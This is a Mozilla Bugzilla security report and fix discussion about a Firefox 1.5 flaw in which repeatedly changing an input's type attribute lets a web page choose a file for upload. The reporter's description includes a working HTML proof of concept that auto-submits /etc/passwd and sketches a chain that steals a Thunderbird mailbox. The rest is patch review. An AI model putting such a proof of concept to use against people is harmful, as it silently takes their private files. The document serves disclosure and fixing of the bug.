[FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript

RESOLVED FIXED in mozilla1.9alpha1

Status

()

Core
Layout: Form Controls
P1
normal
RESOLVED FIXED
12 years ago
9 years ago

People

(Reporter: Chuck McAuley, Assigned: sicking)

Tracking

({fixed1.8.1, verified1.8.0.4})

1.8 Branch
mozilla1.9alpha1
x86
All
fixed1.8.1, verified1.8.0.4
Points:
---
Dependency tree / graph
Bug Flags:
blocking1.7.14 ?
blocking-aviary1.0.9 ?
blocking1.8.0.4 +

Firefox Tracking Flags

(Not tracked)

Details

(Whiteboard: [sg:high])

Attachments

(7 attachments, 6 obsolete attachments)

13.66 KB, application/x-compressed-tar
Details
450 bytes, text/html
Details
450 bytes, text/html
Details
479 bytes, text/html
Details
30.59 KB, patch
Details | Diff | Splinter Review
33.63 KB, patch
jst
: review+
Details | Diff | Splinter Review
22.77 KB, patch
Alexander Sack
: review?
Christopher Aillon (sabbatical, not receiving bugmail)
Details | Diff | Splinter Review
(Reporter)

Description

12 years ago
User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060202 Fedora/1.0.7-1.2.fc4 Firefox/1.0.7
Build Identifier: http://www.mozilla.com/products/download.html?product=firefox-1.5.0.2&os=win&lang=en-US

I was trying to reproduce CVE-2006-1729 with very little details.

Came up with this code : 
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}


chuckfile was originally type textbox

it worked on the vulnerable versions of firefox listed.  Hey! I said to myself, alright!

posted it to a friend, he said he was patched.  Asked him anyways to have a look.

Now for the interesting part.

It still worked.  Not believing him, I ran over to a winxp machine 10 minutes ago, d/l'd 1.5.0.2 , and ran and it worked.

so attached will be lots of PoC and some other stuff for perusal.  The PoC assumes the user has a install of thunderbird on their linux machine, and tries to upload the mailbox store.

also in the tarball is a quick demo for windows people uploading boot.ini

Reproducible: Always

Steps to Reproduce:
Steps to reproduce:

if using linux with a LAMP setup do this:
throw all the HTML into /var/www/html (or somewhere similar).

visit sploit_1729.html


will attempt to upload /etc/passwd
parse that, find user dirs
then try to locate $USERDIR/.thunderbird/profiles.ini
upload that
parse that for profile dir
then try upload
$USERDIR/.thunderbird/$PROFILE/Mail/Local\ Folders/Inbox



There are also cve-2006-1729.html & cve-2006-1729_windows.html  which are quick dirty demo's of the prob
Actual Results:  
uploads my files

Expected Results:  
don't upload my files!

Here's a quick demo if you don't want a tarball


<HTML>
<HEAD>
<script>
function change() {
document.getElementById('chuckfile').type='radio';
document.getElementById('chuckfile').type='file';
}
</script>
</HEAD>
<BODY onLoad="change();document.getElementById('aform').submit();">
<FORM id="aform" enctype="multipart/form-data" ACTION="uploadhere.php" METHOD="POST">
<INPUT id="chuckfile" type="text" name="file4chuck" value="/etc/passwd" />
</FORM>
</HTML>
(Reporter)

Comment 1

12 years ago
Created attachment 219325 [details]
contains PoC demonstrating impact of this problem

Comment 2

12 years ago
Created attachment 219334 [details]
334977-unix.html - display /etc/passwd

Comment 3

12 years ago
Created attachment 219335 [details]
334997-win.html - display boot.ini

Comment 4

12 years ago
confirmed with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060411 Firefox/1.5.0.2
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: blocking1.8.0.3?
Flags: blocking1.8.0.3? → blocking1.8.0.3+
This seems like something that was broken by the ordering change in bug 325947.
Component: Security → Layout: Form Controls
Product: Firefox → Core
QA Contact: firefox → layout.form-controls
Version: unspecified → 1.8 Branch
(Reporter)

Comment 6

12 years ago
this doesn't seem to affect 1.0.8 with the way i have it lined up

on the js line where i assign type radio to the input box i tried out all HTML 4 types...

here are the results (Y signifies value stays in file box):
             FF 1.5.0.2 (win)       FF 1.0.8 (fedora-core-4)
foobar          N                    N
radio           Y                    N
checkbox        Y                    N
text            N                    N
hidden          Y                    N
password        N                    N
submit          Y                    N
reset           Y                    N
image           Y                    N
button          Y                    N


would any of you guys know whats going on between 1.0.8 and 1.5.0.2 that makes a difference with this?
Yeah, the regression range is consistent with bug 325947
Blocks: 325947
Chuck, 1.8 branch has asynchronous style changes; that means that the frame type doesn't change immediately when the content type changes.

Still sorting out what's happening here.
Created attachment 219345 [details]
Unix version with the submit off a timeout

So the sequence of events here is:

1)  Text control changes to radio; mValue is null
2)  Radio changes to file; mValue is null, and since we're changing from radio
    we don't try to set the value in the frame.
3)  We submit, and get our value from the frame (in the original testcase).

An alternate end would be:

3')  Text control frame is torn down, stores its value in the content without
     checking the type (this testcase; I have a fix for this one but not the
     original one yet).

Updated

12 years ago
Summary: File Upload Box Still can have arbitrary file specified by monkeying around with javascript → File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Whiteboard: [sg:high]
Created attachment 219347 [details] [diff] [review]
Proposed patch

This is the trunk version.... I'll have to merge to branch if the general approach is ok by you, Jonas.
Attachment #219347 - Flags: superreview?(bugmail)
Attachment #219347 - Flags: review?(bugmail)
Assignee: nobody → bzbarsky
Priority: -- → P1
Summary: File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript → [FIX]File Upload Box Still can have arbitrary file specified by changing type attribute several times with javascript
Target Milestone: --- → mozilla1.9alpha
Blocks: 256195
Created attachment 219415 [details] [diff] [review]
Alternative patch

This patch makes us compleatly separate filename from all other types of values. There should be no way we can get any type of value in there now. The only two places we set the string that is later used as a filename is after the file-selector has been shown, or when we restore state from a previous file-control.
Attachment #219415 - Flags: superreview?(dbaron)
Attachment #219415 - Flags: review?(bzbarsky)
Created attachment 219416 [details] [diff] [review]
Alternative patch v 1.1

Forgot to run the final diff. This version works better.

Oh, i'm not sure if we need to call SetFileName in more places in nsFileControlFrame. Can you change the value any other way than by bringing up the file picker?

Also, I suspect nsFileControlFrame::Destroy can be completely removed.
Attachment #219415 - Attachment is obsolete: true
Attachment #219416 - Flags: superreview?(dbaron)
Attachment #219416 - Flags: review?(bzbarsky)
Attachment #219415 - Flags: superreview?(dbaron)
Attachment #219415 - Flags: review?(bzbarsky)
Created attachment 219417 [details] [diff] [review]
Alternative patch v 1.1 -w

For review goodness...
Flags: blocking1.8.1?

Comment 14

12 years ago
> Can you change the value any other way than by bringing up the file picker?

On trunk, I don't think so, but there might be an exception for privileged scripts.

On 1.8.0.x, yes, because on that branch users can type filenames directly into the textbox (bug 258875).
Ok, i'll write up a patch for 1.8.0.x too that calls SetFileName on every key-stroke then.

Note that privileged script can call .value = "foo" still, even on file-inputs.
Comment on attachment 219416 [details] [diff] [review]
Alternative patch v 1.1

Crap, i realized that there's still a theoretical risk that the normal value creeps into the filename since nsFileControlFrame calls GetValue.

New patch later today or tomorrow.
Attachment #219416 - Flags: superreview?(dbaron)
Attachment #219416 - Flags: superreview?
Attachment #219416 - Flags: review?(bzbarsky)
Attachment #219416 - Flags: review-
Attachment #219416 - Flags: superreview?
Jonas, the deadline for getting 1.8.0.3 approvals is tomorrow.  I'd really like one or the other of these patches to make 1.8.0.3 (since this thing is more or less out in the wild), which means it needs to land on trunk today or at worst tomorrow morning and start baking so drivers have something to evaluate when doing approvals.

If you don't think your thing will be ready by then, we should probably just check in my version, though I do prefer your approach.
Created attachment 219575 [details] [diff] [review]
Alternative patch v 2

Actually, the last patch would have fixed all security issues too. However it might have been possible to trick the wrong file into being displayed.

So this one should be fine for trunk and 1.8.1. I'll attach another patch for 1.8.0
Assignee: bzbarsky → bugmail
Attachment #219416 - Attachment is obsolete: true
Attachment #219417 - Attachment is obsolete: true
Status: NEW → ASSIGNED
Attachment #219575 - Flags: superreview?(bzbarsky)
Attachment #219575 - Flags: review?(bzbarsky)
Created attachment 219576 [details] [diff] [review]
Alternative patch v 2 -w
Comment on attachment 219575 [details] [diff] [review]
Alternative patch v 2

>Index: content/html/content/public/nsIFileControlElement.h

>+ * This interface is used for the text control frame to store its value away

s/text/file/, no?

I kinda wish we weren't adding another vtable pointer here, but I'm not sure inheriting this from one of the existing interfaces would work so well..

>Index: content/html/content/src/nsHTMLInputElement.cpp

>-   * The current value of the input if it has been changed from the deafault
>+   * The current value of the input if it has been changed from the default
>    */
>   char*                    mValue;
>+  /**
>+   * The current value of the input if it has been changed from the default
>+   */
>+  nsAutoPtr<nsString>      mFileName;

So how are the two different?  Document!

>@@ -619,18 +633,17 @@ nsHTMLInputElement::SetSize(PRUint32 aVa
>@@ -671,52 +695,82 @@ nsHTMLInputElement::GetValue(nsAString& 
>+nsHTMLInputElement::SetFileName(const nsAString& aValue)
>+{
>+  delete mFileName;
>+
>+  // No big deal if |new| fails, we simply won't submit the file
>+  mFileName = aValue.IsEmpty() ? nsnull : new nsString(aValue);

That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr deletes the old value.  So no need for the manual delete here.

>Index: layout/forms/nsFileControlFrame.cpp
>@@ -356,16 +314,19 @@ nsFileControlFrame::MouseClick(nsIDOMEve
>+      nsCOMPtr<nsIFileControlElement> fileInput = do_QueryInterface(mContent);
>+      fileInput->SetFileName(unicodePath);

Thanks to XBL, the QI can fail... So null-check, please.

>@@ -582,22 +543,22 @@ nsFileControlFrame::GetFormProperty(nsIA
>+      nsCOMPtr<nsIFileControlElement> fileControl = do_QueryInterface(mTextContent);
>+      NS_ASSERTION(fileControl,
>+                   "<input> element not implementing nsIFileControlElement?");

Take out the assertion; as written this code can't assert that.

r+sr=bzbarsky; for branch we need a version that deals with typing in the textfield, right?
Attachment #219575 - Flags: superreview?(bzbarsky)
Attachment #219575 - Flags: superreview+
Attachment #219575 - Flags: review?(bzbarsky)
Attachment #219575 - Flags: review+
> I kinda wish we weren't adding another vtable pointer here, but I'm not sure
> inheriting this from one of the existing interfaces would work so well..

I agree, this class has way too many interfaces. Might be worth looking into cleaning that up in general at some point. But that's a separate bug. This is a security patch, i want to keep it clean :)

> That'll double-delete mFileName and crash, no?  operator= on an nsAutoPtr
> deletes the old value.  So no need for the manual delete here.

Opps! Forgot that I had made that an nsAutoPtr. Would be good if nsAutoPtr protected against that.

> r+sr=bzbarsky; for branch we need a version that deals with typing in the
> textfield, right?

Right, got sidetracked today, but I'm almost done with that.
Created attachment 219731 [details] [diff] [review]
Final trunk version
Attachment #219347 - Attachment is obsolete: true
Attachment #219575 - Attachment is obsolete: true
Attachment #219576 - Attachment is obsolete: true
Attachment #219347 - Flags: superreview?(bugmail)
Attachment #219347 - Flags: review?(bugmail)
This is going to get almost no trunk baking before hitting the branch, please land today! And we need a separate branch patch too, right?
This has already landed on trunk, I just kept the bug open for branch, but i guess i should mark it fixed. Still working on the branch version.
Status: ASSIGNED → RESOLVED
Last Resolved: 12 years ago
Resolution: --- → FIXED
Blocks: 331156
Created attachment 220104 [details] [diff] [review]
Branch patch

This is the branch version. I made it react changes in the textfield by intercepting the input-events submitted from the anonymous content.

I also use a separate property name for file inputs to make sure that data isn't accidentally transfered <input type=text> -> nsTextControlFrame -> <input type=file>

Note that I found a bug in the trunk version of this patch. If the value is changed on the node directly the frame doesn't get updated. I've fixed that in this version, i'll create a trunk fix as well.
Attachment #220104 - Flags: superreview?(bzbarsky)
Attachment #220104 - Flags: review?(bzbarsky)
Attachment #220104 - Flags: approval-branch-1.8.1?(jst)
Comment on attachment 220104 [details] [diff] [review]
Branch patch

r+sr+a=jst
Attachment #220104 - Flags: superreview?(bzbarsky)
Attachment #220104 - Flags: superreview+
Attachment #220104 - Flags: review?(bzbarsky)
Attachment #220104 - Flags: review+
Attachment #220104 - Flags: approval-branch-1.8.1?(jst)
Attachment #220104 - Flags: approval-branch-1.8.1+
Keywords: fixed1.8.1
Attachment #220104 - Flags: approval1.8.0.4?
Comment on attachment 220104 [details] [diff] [review]
Branch patch

Looks reasonable, fwiw.  ;)
Flags: blocking1.8.1?
Comment on attachment 220104 [details] [diff] [review]
Branch patch

approved for 1.8.0 branch, a=dveditz for drivers
Attachment #220104 - Flags: approval1.8.0.4? → approval1.8.0.4+
Keywords: fixed1.8.0.4

Comment 29

11 years ago
verified fixed ff1.5.0.4/20060508/win/linux
Keywords: fixed1.8.0.4 → verified1.8.0.4
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] → [sg:high] ff1.0/moz1.7 branches not affected
Though the testcases in this bug might not affect the old 1.7 and 1.0 branches some of the other filecontrol bugs found recently might, and this patch is likely to be the best fix for them. (some of the other fixes we've tried on trunk has tended to open new exploits)
Flags: blocking1.7.14?
Flags: blocking1.7.14-
Flags: blocking-aviary1.0.9?
Flags: blocking-aviary1.0.9-
Whiteboard: [sg:high] ff1.0/moz1.7 branches not affected → [sg:high]
Group: security

Comment 31

11 years ago
Created attachment 225484 [details] [diff] [review]
1.0.x patch
Attachment #225484 - Flags: review?(caillon)
Depends on: 387978
You need to log in before you can comment on or make changes to this bug.